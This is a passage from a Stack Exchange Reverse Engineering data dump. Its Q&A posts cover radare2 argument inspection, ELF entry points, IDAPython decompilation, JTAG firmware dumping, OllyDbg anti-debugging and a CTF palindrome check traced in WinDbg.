simply use the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400526]&amp;gt; psb @ [rsi]&#xA;0x7ffff02304b7 ./example.elf&#xA;0x7ffff02304c4 ABCDEFGH&#xA;0x7ffff02304cd SHELL=/bin/bash&#xA;0x7ffff02304dd TERM=xterm-256color&#xA;0x7ffff02304f1 OLDPWD=&amp;lt;truncated&amp;gt;&#xA;0x7ffff023050e USER=beet&#xA;0x7ffff0230518 NAME=&amp;lt;truncated&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;psb&lt;/code&gt; is used to &lt;strong&gt;p&lt;/strong&gt;rint &lt;strong&gt;s&lt;/strong&gt;trings in the current &lt;strong&gt;b&lt;/strong&gt;lock. Since at this point we know that &lt;code&gt;argc&lt;/code&gt; equals 2, we can ignore anything that is beneath the second line of the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 also offers you a register telescoping using &lt;code&gt;drr&lt;/code&gt;. This way you can easily see where &lt;code&gt;rsi&lt;/code&gt; is pointing to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400526]&amp;gt; drr~rsi&#xA;   rsi 0x00007ffff1a56ab8  rsi stack R W 0x7ffff1a56cb7 --&amp;gt;  stack R W 0x6c706d6178652f2e (./example.elf) --&amp;gt;  ascii&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;rsi&lt;/code&gt; value is &lt;code&gt;0x7ffff1a56ab8&lt;/code&gt; which is pointing to an address on the stack (&lt;code&gt;0x7ffff1a56cb7&lt;/code&gt;) that contains an ascii string &quot;./example.elf&quot;.&lt;br&gt;&#xA;&lt;em&gt;&lt;code&gt;~&lt;/code&gt; is radare's internal grep&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please consider open an &lt;a href=&quot;https://github.com/radare/radare2/issues/new&quot; rel=&quot;noreferrer&quot;&gt;issue&lt;/a&gt; to ask for this feature, or even better, implement it and send a pull-request.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-04-25T07:32:58.820" LastActivityDate="2018-04-25T07:32:58.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18091" PostTypeId="2" ParentId="18086" CreationDate="2018-04-25T07:39:41.563" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Get the information about the chip. It may happen that firmware, that you need is stored in the external flash memory chip, not in CPU. &lt;/li&gt;&#xA;&lt;li&gt;If it's still the CPU, that you want to dump, read the datasheet for the chip to learn how it's programmed and which hardware you need to connect to the chip (JTAG atapter most probably) &lt;/li&gt;&#xA;&lt;li&gt;Find if there are 'test points' on the PCB, which lead to the programming interface pins of the chip &lt;/li&gt;&#xA;&lt;li&gt;If there are no such 'test points' desolder the chip, and solder it to your own PCB where you have all necessary pins connected. &lt;/li&gt;&#xA;&lt;li&gt;Connect JTAG adapter to the appropriate pins &lt;/li&gt;&#xA;&lt;li&gt;Use the software which is designed to work with such chips via JTAG to read the firmware or SRAM. &lt;/li&gt;&#xA;&lt;li&gt;Most likely the chip will have the protection enabled, so that you won't be able to read the firmware, so you'll have to overcome that using various techniques.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's the example: &lt;a href=&quot;http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-25T07:39:41.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18092" PostTypeId="2" ParentId="18088" CreationDate="2018-04-25T07:55:29.833" Score="5" Body="&lt;p&gt;The entry point isn't the address where &lt;strong&gt;you&lt;/strong&gt; starts analyzing, but the address from where &lt;strong&gt;the process&lt;/strong&gt; starts executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's have a quick look at the ELF32 Header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define EI_NIDENT 16&#xA;&#xA;typedef struct {&#xA;        unsigned char   e_ident[EI_NIDENT];&#xA;        Elf32_Half      e_type;&#xA;        Elf32_Half      e_machine;&#xA;        Elf32_Word      e_version;&#xA;        Elf32_Addr      e_entry;&#xA;        Elf32_Off       e_phoff;&#xA;        Elf32_Off       e_shoff;&#xA;        Elf32_Word      e_flags;&#xA;        Elf32_Half      e_ehsize;&#xA;        Elf32_Half      e_phentsize;&#xA;        Elf32_Half      e_phnum;&#xA;        Elf32_Half      e_shentsize;&#xA;        Elf32_Half      e_shnum;&#xA;        Elf32_Half      e_shstrndx;&#xA;} Elf32_Ehdr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;e_entry&lt;/code&gt; member is actually pointing to the entry point:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;e_entry&lt;/strong&gt;&lt;br&gt;&#xA;  This member gives the virtual address to which the system first transfers control, thus starting the process. If the file has no associated entry point, this member holds zero.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Source: &lt;a href=&quot;http://www.sco.com/developers/gabi/latest/ch4.eheader.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.sco.com/developers/gabi/latest/ch4.eheader.html&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And a more detailed description from &lt;a href=&quot;https://en.wikipedia.org/wiki/Entry_point&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer programming, an entry point is &lt;strong&gt;where control is&#xA;  transferred from the operating system to a computer program&lt;/strong&gt;, at which&#xA;  place the processor enters a program or a code fragment and execution&#xA;  begins. In some operating systems or programming languages, the&#xA;  initial entry is not part of the program but of the runtime library,&#xA;  in which case the runtime library initializes the program and then the&#xA;  runtime library enters the program. In other cases, the program may&#xA;  call the runtime library before doing anything when it is entered for&#xA;  the first time, and, after the runtime library returns, the actual&#xA;  code of the program begins to execute. This marks the transition from&#xA;  load time (and dynamic link time, if present) to run time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[emphasis mine]&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-25T07:55:29.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18093" PostTypeId="2" ParentId="18088" CreationDate="2018-04-25T09:40:18.303" Score="2" Body="&lt;p&gt;No!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry point is the &quot;keyword&quot; used to point at the location at which the OS loader will start a program. For a given binary file (&lt;strong&gt;ELFBIN&lt;/strong&gt;), you can run the following command to read the binary's header information (-h):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       readelf -h ELFBIN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll obtain an output similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ELF Header:&#xA; Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA; Class:                             ELF64&#xA; Data:                              2's complement, little endian&#xA; Version:                           1 (current)&#xA; OS/ABI:                            UNIX - System V&#xA; ABI Version:                       0&#xA; Type:                              EXEC (Executable file)&#xA; Machine:                           Advanced Micro Devices X86-64&#xA; Version:                           0x1&#xA; Entry point address:               0x400a80&#xA; Start of program headers:          64 (bytes into file)&#xA; Start of section headers:          46528 (bytes into file)&#xA; Flags:                             0x0&#xA; Size of this header:               64 (bytes)&#xA; Size of program headers:           56 (bytes)&#xA; Number of program headers:         9&#xA; Size of section headers:           64 (bytes)&#xA; Number of section headers:         31&#xA; Section header string table index: 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look closely, you'll find &lt;strong&gt;Entry point address : 0x400a80&lt;/strong&gt;.&#xA;After running objdump on the binary and looking up the given address you'll obtain something this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400a80 &amp;lt;_start&amp;gt;:&#xA; 400a80:       31 ed                   xor    %ebp,%ebp&#xA; 400a82:       49 89 d1                mov    %rdx,%r9&#xA; 400a85:       5e                      pop    %rsi&#xA; 400a86:       48 89 e2                mov    %rsp,%rdx&#xA; 400a89:       48 83 e4 f0             and    $0xfffffffffffffff0,%rsp&#xA; 400a8d:       50                      push   %rax&#xA; 400a8e:       54                      push   %rsp&#xA; 400a8f:       49 c7 c0 c0 48 40 00    mov    $0x4048c0,%r8&#xA; 400a96:       48 c7 c1 50 48 40 00    mov    $0x404850,%rcx&#xA; 400a9d:       48 c7 c7 70 0b 40 00    mov    $0x400b70,%rdi&#xA; 400aa4:       ff 15 1e 85 20 00       callq  *0x20851e(%rip)        # 6  08fc8 &amp;lt;__libc_start_main@GLIBC_2.2.5&amp;gt;&#xA; 400aaa:       f4                      hlt    &#xA; 400aab:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;strong&gt;_start&lt;/strong&gt; function that prepares certain parameters/registers before eventually calling &lt;strong&gt;main&lt;/strong&gt; (see the label on the right at address &lt;strong&gt;400aa4&lt;/strong&gt; in the example) that contains &quot;your&quot; code. The &lt;strong&gt;_start&lt;/strong&gt; function is usually called after all other sections of the binary have been loaded in memory. After the main is done, the &lt;strong&gt;hlt&lt;/strong&gt; instruction is executed to terminate the execution in this example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what's called &lt;strong&gt;entry point&lt;/strong&gt;. Now, regarding analysis, it has to be started somewhere in the binary, that somewhere is represented using an address (like the entry point).&#xA;If you want to play with the language/jargon, you can say: analysis entry point rather than binary entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it's just technical keywords and they have to be defined properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answers your question :)&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2018-04-25T09:40:18.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18094" PostTypeId="2" ParentId="18081" CreationDate="2018-04-25T10:11:08.447" Score="1" Body="&lt;p&gt;As it said above, 419030 points to some data, not the code. So you may just remove this FThunk. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-25T10:11:08.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18096" PostTypeId="2" ParentId="16490" CreationDate="2018-04-25T14:52:56.087" Score="2" Body="&lt;p&gt;Well,there exist some examples at the idapython's github, see the idapyhton/examples/vds1.py,you can get a demo.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;f=idaapi.get_func(ea)&#xA;cfunc=idaapi.decompile(f)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried this on ida pro 6.8&lt;/p&gt;&#xA;" OwnerUserId="24157" LastActivityDate="2018-04-25T14:52:56.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18097" PostTypeId="1" CreationDate="2018-04-25T15:18:23.617" Score="1" ViewCount="297" Body="&lt;p&gt;I have learned about how to get xref to a stack variable,but it is in the form of &#xA;assembly:&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16055/idapython-get-xrefs-to-a-stack-variable&quot;&gt;idapython - Get Xrefs to a stack variable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way works well on a variable like [ebp+var_0] but do not support the registers.Some times if  a segment error occurs on an instruction like &quot;mov eax,[esi]&quot;, I have to know where the value of &quot;esi&quot; comes from,so I need to make sure I can get xref to a register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also means I have to do more work about analysis even if ida has provided.&#xA;I think the xref in the form of pseudocode is more clear and convenient, just like what i am used to look up in ida:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yVbAX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVbAX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ida define the stack data and registers to variables like &quot;v1&quot; or &quot;v13&quot;,and then I can get xref by press 'X'.&#xA;I have searched for some time,including the examples in github.There are some ways to get xref to the global variables but not the stack variables.So if there exist any API about this?&lt;/p&gt;&#xA;" OwnerUserId="24157" LastEditorUserId="24157" LastEditDate="2018-04-25T15:23:51.947" LastActivityDate="2018-04-25T15:23:51.947" Title="idapython：How can I get xref to a stack variable in the form of pseudocode" Tags="|idapython|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18098" PostTypeId="1" CreationDate="2018-04-25T15:36:14.467" Score="4" ViewCount="4522" Body="&lt;p&gt;I have windows application that I want to debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open it with &lt;code&gt;ollydbg&lt;/code&gt; and attach to this application process  I see &lt;code&gt;attached process paused at ntdll.DbgBreakPoint&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I press Play I see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;thread ... terminated , exit code 0.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looking for anti -debug function , so I looking for &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt; ,and I found it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that this function is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 8 &#xA;...&#xA;...&#xA;..&#xA;call ntdll.DbgBreakPoint&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to find what this function do so I mark the first line of function (&lt;code&gt;push 8&lt;/code&gt;) and I press play,  I saw that ollydbg stop on line &lt;code&gt;cmp Byte ptr...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this anti-debug?&lt;/p&gt;&#xA;" OwnerUserId="24159" LastEditorUserId="24159" LastEditDate="2018-04-25T15:55:45.460" LastActivityDate="2018-05-29T21:02:31.743" Title="How to fix anti-debugger with DbgUiRemoteBreakin" Tags="|ollydbg|anti-debugging|process|thread|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18100" PostTypeId="1" AcceptedAnswerId="18104" CreationDate="2018-04-25T16:37:30.047" Score="1" ViewCount="774" Body="&lt;p&gt;I've just started to dip into Assembly for CTF reversing challenges, and am having a great time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A loop structure in the current challenge I'm working on has me stumped, however - hoping someone can help with a few basic Assembly questions - or point me to good resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the binary provided for the challenge through Binary Ninja and identified the key function - tracing the logic within a loop is giving me problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the program to return the flag, we need this check function - which looks at a user-entered string - to return 1. For the check function to return a 1, we need this loop to set EAX to 0x1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop starts off fairly simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080486d5  sub     dword [ebp-0x10 {var_14_1} {var_14}], 0x1 &#xA;080486d9  mov     dword [ebp-0xc {var_10_1}], 0x0&#xA;080486e0  jmp     0x804870b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;var_14 is the string length of the user input. By this point in the function, we know that the string length has to be at least 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this seems to simply set var_14_1 to var_14-1 and var_10_1 to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we enter the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first block of the loop reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804870b  mov     eax, dword [ebp-0xc {var_10_1}]&#xA;0804870e  cmp     eax, dword [ebp-0x10 {var_14_1}]&#xA;08048711  jbe     0x80486e2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems to say that if var_10_1 is less than var_14_1 continue with the loop.&#xA;This next block of the loop is where I think I'm not reading the code correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080486e2  mov     edx, dword [ebp+0x8 {arg1}]&#xA;080486e5  mov     eax, dword [ebp-0xc {var_10_1}]&#xA;080486e8  add     eax, edx                  &#xA;080486ea  movzx   edx, byte [eax]               &#xA;080486ed  mov     ecx, dword [ebp+0x8 {arg1}]&#xA;080486f0  mov     eax, dword [ebp-0x10 {var_14_1}]&#xA;080486f3  add     eax, ecx&#xA;080486f5  movzx   eax, byte [eax]&#xA;080486f8  cmp     dl, al                    &#xA;080486fa  je      0x8048703&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;arg1 is the user input - at this point all the know is that it has to be at least 20 characters long, and the first 4 characters are &quot;auqa&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need this cmp to succeed (dl == al) for the loop to continue. Otherwise, the code exits the loop and returns EAX to 0x0 (failure). Having said that - if we know that var_10_1 is 0 and var_14_1 is at least 19 at this first pass in the loop, and we add each to arg1 - then how can DL and AL be equal? Am I misunderstanding how &lt;code&gt;add eax, edx&lt;/code&gt; and &lt;code&gt;add eax, ecx&lt;/code&gt; work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where my understanding of the code is incorrect - very much appreciate any tips or pointers. Apologize if this covers basic knowledge - I'm working through these on my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-04-25T21:21:16.460" Title="Question relating to learning Assembly through CTF challenges" Tags="|disassembly|assembly|x86|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18102" PostTypeId="2" ParentId="18050" CreationDate="2018-04-25T17:35:22.093" Score="-1" Body="&lt;p&gt;So I got it working, turns out I used wrong parity, din't know you can override davice manager port settings from VB. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="24099" LastActivityDate="2018-04-25T17:35:22.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18103" PostTypeId="2" ParentId="18100" CreationDate="2018-04-25T18:53:32.057" Score="0" Body="&lt;p&gt;I cannot post comments because of low reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am noticing here are the square brackets in the two &lt;code&gt;movzx&lt;/code&gt; instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These instructions compute an address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080486e2  mov     edx, dword [ebp+0x8 {arg1}]&#xA;080486e5  mov     eax, dword [ebp-0xc {var_10_1}]&#xA;080486e8  add     eax, edx      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this instruction gets the value at that address and stores it in &lt;code&gt;dl&lt;/code&gt; because of the &lt;code&gt;movzx&lt;/code&gt; (zero-extending):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080486ea  movzx   edx, byte [eax]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We need this cmp to succeed (dl == al) for the loop to continue.&#xA;  Otherwise, the code exits the loop and returns EAX to 0x0 (failure).&#xA;  Having said that - if we know that var_10_1 is 0 and var_14_1 is at&#xA;  least 19 at this first pass in the loop, and we add each to arg1 -&#xA;  then how can DL and AL be equal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer is simple: that is not what &lt;code&gt;cmp&lt;/code&gt; is checking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see it (I'm also just getting into reverse engineering) the bytes stored at these addresses must be equal for &lt;code&gt;je&lt;/code&gt; to be executed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword [ebp+0x8 {arg1}] + dword [ebp-0xc {var_10_1}]&#xA;dword [ebp+0x8 {arg1}] + dword [ebp-0x10 {var_14_1}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes it quite a difficult problem because you now have to find out which addresses are pointing to the correct bytes. &lt;/p&gt;&#xA;" OwnerUserId="24165" LastEditorUserId="24165" LastEditDate="2018-04-25T19:29:50.380" LastActivityDate="2018-04-25T19:29:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18104" PostTypeId="2" ParentId="18100" CreationDate="2018-04-25T20:23:42.643" Score="1" Body="&lt;p&gt;the code possibly checks for a palindrome &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the query doesnt contain full disassembly for example what it does when it is equal &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edx, arg1  == edx = *input&#xA;eax in first iteration is 0  so eax will be equal to edx == first letter of the input string  for the first 4 instructions in the loop you provide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next 4 instructions possibly take the last character  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and compares both &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so a sequence like &lt;strong&gt;abcdefghijjihgfedcba&lt;/strong&gt;  will pass the first iteration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a src that uses your snippet and stepping through it in windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; t&#xA;&amp;gt;    3: int foo (char *a) {&#xA;012b6831 8bec            mov     ebp,esp&#xA;0:000&amp;gt; t&#xA;&amp;gt;    3: int foo (char *a) {&#xA;012b6833 83ec10          sub     esp,10h&#xA;0:000&amp;gt; t&#xA;&amp;gt;    4:     int h = 0;&#xA;012b6836 c745fc00000000  mov     dword ptr [ebp-4],0  ss:0023:0013f9f8=00000000&#xA;0:000&amp;gt; t&#xA;&amp;gt;    5:     int j = 0;&#xA;012b683d c745f800000000  mov     dword ptr [ebp-8],0  ss:0023:0013f9f4=012c4a9d&#xA;0:000&amp;gt; t&#xA;&amp;gt;    6:     int k = 0;&#xA;012b6844 c745f400000000  mov     dword ptr [ebp-0Ch],0 ss:0023:0013f9f0=00000000&#xA;0:000&amp;gt; t&#xA;&amp;gt;    7:     int l = 19;  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; simulating here sub instruction reduced 20 to 19 &#xA;012b684b c745f013000000  mov     dword ptr [ebp-10h],13h ss:0023:0013f9ec=012b69a9&#xA;0:000&amp;gt; t&#xA;&amp;gt;   10: mov     edx, dword ptr ds:[ebp+0x8]&#xA;012b6852 3e8b5508        mov     edx,dword ptr ds:[ebp+8] ds:0023:0013fa04=01308e50&#xA;0:000&amp;gt; t&#xA;&amp;gt;   11: mov     eax, dword ptr ds:[ebp-0xc]&#xA;012b6856 3e8b45f4        mov     eax,dword ptr ds:[ebp-0Ch] ds:0023:0013f9f0=00000000&#xA;0:000&amp;gt; t&#xA;&amp;gt;   12: add     eax, edx                  &#xA;012b685a 03c2            add     eax,edx&#xA;0:000&amp;gt; t&#xA;&amp;gt;   13: movzx   edx, byte ptr ds:[eax]               &#xA;012b685c 3e0fb610        movzx   edx,byte ptr ds:[eax]      ds:0023:01308e50=61&#xA;0:000&amp;gt; da eax&#xA;01308e50  &quot;abcdefghijjihgfedcba&quot;&#xA;0:000&amp;gt; t&#xA;&amp;gt;   14: mov     ecx, dword ptr ds:[ebp+0x8 ]&#xA;012b6860 3e8b4d08        mov     ecx,dword ptr ds:[ebp+8] ds:0023:0013fa04=01308e50&#xA;0:000&amp;gt; ?? char @dl&#xA;Unexpected token '@dl'&#xA;0:000&amp;gt; ?? (char) @dl&#xA;char 0n97 'a'&#xA;0:000&amp;gt; t&#xA;&amp;gt;   15: mov     eax, dword ptr ds:[ebp-0x10 ]&#xA;012b6864 3e8b45f0        mov     eax,dword ptr ds:[ebp-10h] ds:0023:0013f9ec=00000013&#xA;0:000&amp;gt; t&#xA;&amp;gt;   16: add     eax, ecx&#xA;012b6868 03c1            add     eax,ecx&#xA;0:000&amp;gt; t&#xA;&amp;gt;   17: movzx   eax, byte ptr ds:[eax]&#xA;012b686a 3e0fb600        movzx   eax,byte ptr ds:[eax]      ds:0023:01308e63=61&#xA;0:000&amp;gt; da eax&#xA;01308e63  &quot;a&quot;&#xA;0:000&amp;gt; ? eax&#xA;Evaluate expression: 19959395 = 01308e63&#xA;0:000&amp;gt; t&#xA;&amp;gt;   18: cmp     dl, al &#xA;012b686e 3ad0            cmp     dl,al&#xA;0:000&amp;gt; ?? (char) @eax&#xA;char 0n97 'a'&#xA;0:000&amp;gt; ?? (char) @al&#xA;char 0n97 'a'&#xA;0:000&amp;gt; ? eax&#xA;Evaluate expression: 97 = 00000061&#xA;0:000&amp;gt; ?? @dl == @al&#xA;bool true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the src code that uses the snippet in your post&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int foo(char *a) {&#xA;    int h = 0;&#xA;    int j = 0;&#xA;    int k = 0;&#xA;    int l = 19;&#xA;    __asm {&#xA;        mov     edx, dword ptr ds : [ebp + 0x8]&#xA;        mov     eax, dword ptr ds : [ebp - 0xc]&#xA;        add     eax, edx&#xA;        movzx   edx, byte ptr ds : [eax]&#xA;        mov     ecx, dword ptr ds : [ebp + 0x8]&#xA;        mov     eax, dword ptr ds : [ebp - 0x10]&#xA;        add     eax, ecx&#xA;        movzx   eax, byte ptr ds : [eax]&#xA;        cmp     dl, al&#xA;        je done&#xA;        undone :&#xA;        jmp undone&#xA;            done :&#xA;        jmp done&#xA;    }&#xA;    return h + j + k + l;&#xA;}&#xA;char *blah = &quot;abcdefghijjihgfedcba&quot;;&#xA;int main(void) {&#xA;    foo(blah);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-25T21:21:16.460" LastActivityDate="2018-04-25T21:21:16.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18105" PostTypeId="2" ParentId="18100" CreationDate="2018-04-25T20:53:37.240" Score="0" Body="&lt;p&gt;This seems to be a search in your string for the first character matching the starting character&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;080486e2  mov     edx, dword [ebp+0x8 {arg1}]       ;arg1 -&gt; edx, Pointer to string&#xA;080486e5  mov     eax, dword [ebp-0xc {var_10_1}]   ;0-&gt; eax&#xA;080486e8  add     eax, edx                          ;eax = eax + edx, i.e. eax = Pointer to string&#xA;080486ea  movzx   edx, byte [eax]                   ; 1st character -&gt; edx (zero extend)&lt;br&gt;&#xA;080486ed  mov     ecx, dword [ebp+0x8 {arg1}]       ;arg1-&gt; ecx, Pointer to string&#xA;080486f0  mov     eax, dword [ebp-0x10 {var_14_1}]  ; var_14_1 -&gt; eax&#xA;080486f3  add     eax, ecx                          ;eax = eax + ecx; Ptr at pos. var_14_1&#xA;080486f5  movzx   eax, byte [eax]                   ; content of that ptr -&gt; eax&#xA;080486f8  cmp     dl, al                            ; are both characters equal?&lt;br&gt;&#xA;080486fa  je      0x8048703                         ; yes (i.e. ZF = 1) jmp to 0x848703&#xA;                                                    ; no: continue here&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-04-25T20:53:37.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18106" PostTypeId="2" ParentId="18085" CreationDate="2018-04-25T21:33:06.917" Score="1" Body="&lt;p&gt;the info command holds all the args passed to radare2  and you can use the internal grep too to find it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;radare2 -Q -c &quot;i~ref&quot; -d cmdlnargs.exe firstarg secarg thirdarg&#xA;Spawned new process with pid 6032, tid = 3196&#xA;r_sys_pid_to_path: Cannot get module filename.= attach 6032 3196&#xA;bin.baddr 0x01330000&#xA;Using 0x1330000&#xA;Spawned new process with pid 872, tid = 2512&#xA;r_sys_pid_to_path: Cannot get module filename.asm.bits 32&#xA;referer  dbg://cmdlnargs.exe firstarg secarg thirdarg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same command performed inside radare instead of shell &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;radare2 -d cmdlnargs.exe firstarg secarg thirdarg&#xA;Spawned new process with pid 5356, tid = 2704&#xA;r_sys_pid_to_path: Cannot get module filename.= attach 5356 2704&#xA;bin.baddr 0x01330000&#xA;Using 0x1330000&#xA;Spawned new process with pid 5296, tid = 6036&#xA;r_sys_pid_to_path: Cannot get module filename.asm.bits 32&#xA; -- Are you still there?&#xA;[0x779d70d8]&amp;gt; i~ref&#xA;referer  dbg://cmdlnargs.exe firstarg secarg 